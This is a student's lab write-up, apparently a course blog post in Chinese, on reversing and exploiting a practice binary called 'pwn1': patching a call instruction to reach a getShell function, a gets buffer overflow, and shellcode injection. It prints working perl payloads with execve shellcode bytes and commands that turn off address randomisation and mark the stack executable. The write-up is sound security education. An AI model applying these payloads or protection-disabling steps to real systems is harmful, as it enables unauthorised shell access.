175210 Exp1 PC平台逆向破解

一、基础知识

1、部分指令的机器码
  • NOP : 0x90

  • JNE : 0x75

  • JE : 0x74

  • JMP : 0xEB (短跳转) ,0xE9 (近跳转) ,0xFF (远跳转)

  • CMP
    CMP比较两个不同的寄存器,然后在内部EFLAGS寄存器中设置几个位,记录这些值是相同,更大还是更小。而是根据结果的不同来做适当的跳转,如下图:

    指令 意义
    JE 如果等于则跳转
    JNE 如果不等于则跳转
    JL 如果小于则跳转
    JLE 如果小于等于则跳转
    JG 如果大于则跳转
    JGE 如果大于等于则跳转
2、汇编基础知识
  • call 指令
    call addr = push eip + jmp addr

  • ret 指令
    ret = pop %eip

  • leave 指令

leave 相当于
movl    %ebp, %esp
popl    %ebp
  • x86 汇编函数调用
    stack.png
    1、在使用call命令跳转前,我们需要先手动将函数参数入栈 。call 指令步骤中的 push eip,就是将返回地址入栈 。函数调用结束后,可以使用 ret 命令(也可手动)将栈顶的返回地址弹入%eip中,以实现返回主进程 。
    2、在实际编写中,我们需要为函数分配一定的空间(存储运行时局部变量等),所以栈结构往往如下
    stack2.png

3、函数调用模板

function:
    push %ebp
    mov %esp, %ebp
    .
    .
    mov %ebp, %esp
    pop %ebp    // 这两步是为了释放栈空间,可以替换成 leave
    ret

二、实验内容

1、直接修改程序机器指令,改变程序执行流程

下载 pwn1,使用 objdump -d pwn1 > re命令反汇编,vim re,使用set nu设置行号,关键代码如下

nnmain.png
foo.png
getshellloc.png

  • 看第 185 行,其对应机器指令为 e8 d7ffffff,e8即跳转之意。经过e8这条指令,CPU就会转而执行 EIP + d7ffffff这个位置的指令。d7ffffff是补码, 0x80484ba + 0xd7ffffff = 0x80484ba - 0x29正好是 0x8048491(foo 函数所在位置)这个值。

  • 那我们想调用getShell,只要修改d7ffffff0x0804847d(<getShell>地址) - 0x80484ba对应的补码就行。 利用补码的性质,用 python 进行如下操作:

buma.png

注意,我们采用的是小端模式,所以我们要将d7ffffff改为c3ffffff,如下:

vim pwn1 
:%!xxd #进入16进制模式
/e8 d7 #注意e8 d7之间要有空格,否则查询不到
修改 d7 为 c3
:%!xxd -r #退出 16 进制模式

cha1.png

修改后的 pwn1

after.png

运行 ./pwn1,可以得到shell

getshall.png

2、通过构造输入参数,造成BOF攻击,改变程序执行流

  • 先看这幅图
    stack2.png
    我们的目的是向gets函数传入一个值,这个值超出了程序给函数局部变量划分的缓冲区,覆盖了 %ebp4(%ebp)所指向的内容。而4(%ebp)指向的内容正是返回地址,我们只要将返回地址覆盖为getShell的地址,foo函数调用结束后就会跳转至getShell

  • 看一看foo函数的代码

fooo.png

mov %esp, %ebpsub $0x38, %esp为函数开辟了0x38个字节的缓冲区。lea -0x1c(%ebp), %eax是将一个指针传入%eax,这个指针指向的位置是%ebp指向的位置再向栈顶方向0x1c个字节。mov %eax, (%esp)是将%eax中存储的指针赋值给栈顶的位置。call <gets@plt>时,栈顶的内容(%eax中存储的指针)作为函数参数传给<gets>函数,所以gets函数能够使用的空间只有0x1c个字节。

  • 这样思路就很清楚了,gets 接收的字符串要覆盖0x1c个字节与%ebx指向的4个字节,最后将返回地址覆盖为getShell的地址。
  • 我没有调试,直接按上述思路构造了28 + 4字节长度的字符串,再在末尾添加上getShell的地址,如下

str.png

因为 '1' 都是按 Ascaii 码(8bit)存入内存的,所以 32 个 '1' 能在内存中占据32字节。再添加上getShell的地址(字节字符串格式,要注意字节序)就行了。这里使用perl语言 https://www.runoob.com/perl/perl-tutorial.html

input.png

成功获得shell(用很长时间linux了,但第一次看到这种写法,第二个不接参数的cat是为了将进程阻塞住吗?)

success.png

三、注入Shellcode并执行

1、shellcode 入门
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main()
{
    char *buf[] = {"/bin/sh", NULL};
    execve("/bin/sh", buf, 0);
    exit(0);
}

以上是调用了系统函数execve的 c 代码,编译运行可以进入shell。我一开始以为将这段代码编译成机器码,就成了一段 shellcode
但不行,还是得汇编,使用软中断int 0x80,以下是最简单的shellcode的反汇编代码。

981fc5121537a4c3d4a2134467cd354a.png

可以看看学长的博客

2、实验准备
sudo apt install execstack
su root
execstack -s pwn1  //设置堆栈可执行
execstack -q pwn1 // 查询文件的堆栈是否可执行
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
3、构造要注入的payload
  • shellcode 直接使用指导书里的
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00
  • 有两种构造方式(这里的 retaddr 就是上文所说的“返回地址”)
    • retaddr+nop+shellcode
    • nop+shellcode+retaddr

我一开始感觉nop+shellcode+retaddr靠谱一点,于是就按着这个思路去做,结果被坑死了……应该把实验指导完整看一遍再动手的。
实验指导上对nop+shellcode+retaddr的解释是代码在堆栈上,当前栈顶也在这,一push就把指令自己给覆盖了。下面内容使用retaddr+nop+shellcode

  • payload 结构
    其实思路和BOF攻击没什么区别,只是BOF将 retaddr 覆盖为getShell函数的地址,而此payload 将 retaddr 覆盖为 shellcode 的地址。
    结构如下(用perl 表述):
perl -e 'print "A" x 32; print "addr + nop + shellcode" '

32 个 'A' 使 shellcode 的地址恰巧覆盖retaddr

  • 找到nop + shellcode在内存中的地址
    先随意填上,再调试
perl -e 'print "A" x 32;print "\x01\x02\x03\x04\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
(cat input_shellcode;cat) | ./pwn1

打开一个新的终端

ps -e | grep pwn1 //找到pwn1所在进程
gdb 调试进程

得到结果如下

newfind.png

0xffffd0ec为 retaddr 所在的地址,所以要再加上 4,得到0xffffd0f0,即为nop + shellcode的地址。

  • 获取shell
    由上,容易得到 payload
perl -e 'print "A" x 32;print "\xf0\xd0\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

运行 (cat input_shellcode;cat) | ./pwn1,得到结果

result.png

四、总结

1、实验收获和感想

作为小白,觉得这次实验还是比较难的,中途在几处卡住。一处是lea -0x1c(%ebp), %eaxmov %eax, (%esp),我搞不明白这两步是怎么把gets函数的缓冲区限制到 0x1c字节的,系统地梳理了一下函数调用的知识后,才明白这两步是将指针传参给gets。之后就是shellcode,网上的例子多是32 位汇编,我 64位机器用as 编译各种报错,最后就看懂了文中贴的那个小例子,离实际运用还很远。

2、什么是漏洞,漏洞有什么危害

漏洞是在硬件、软件、协议等上存在的缺陷
漏洞可以使攻击者能够在未授权的情况下访问或破坏系统

posted @ 2020-03-13 15:05  175210闵天  阅读(140)  评论(0编辑  收藏  举报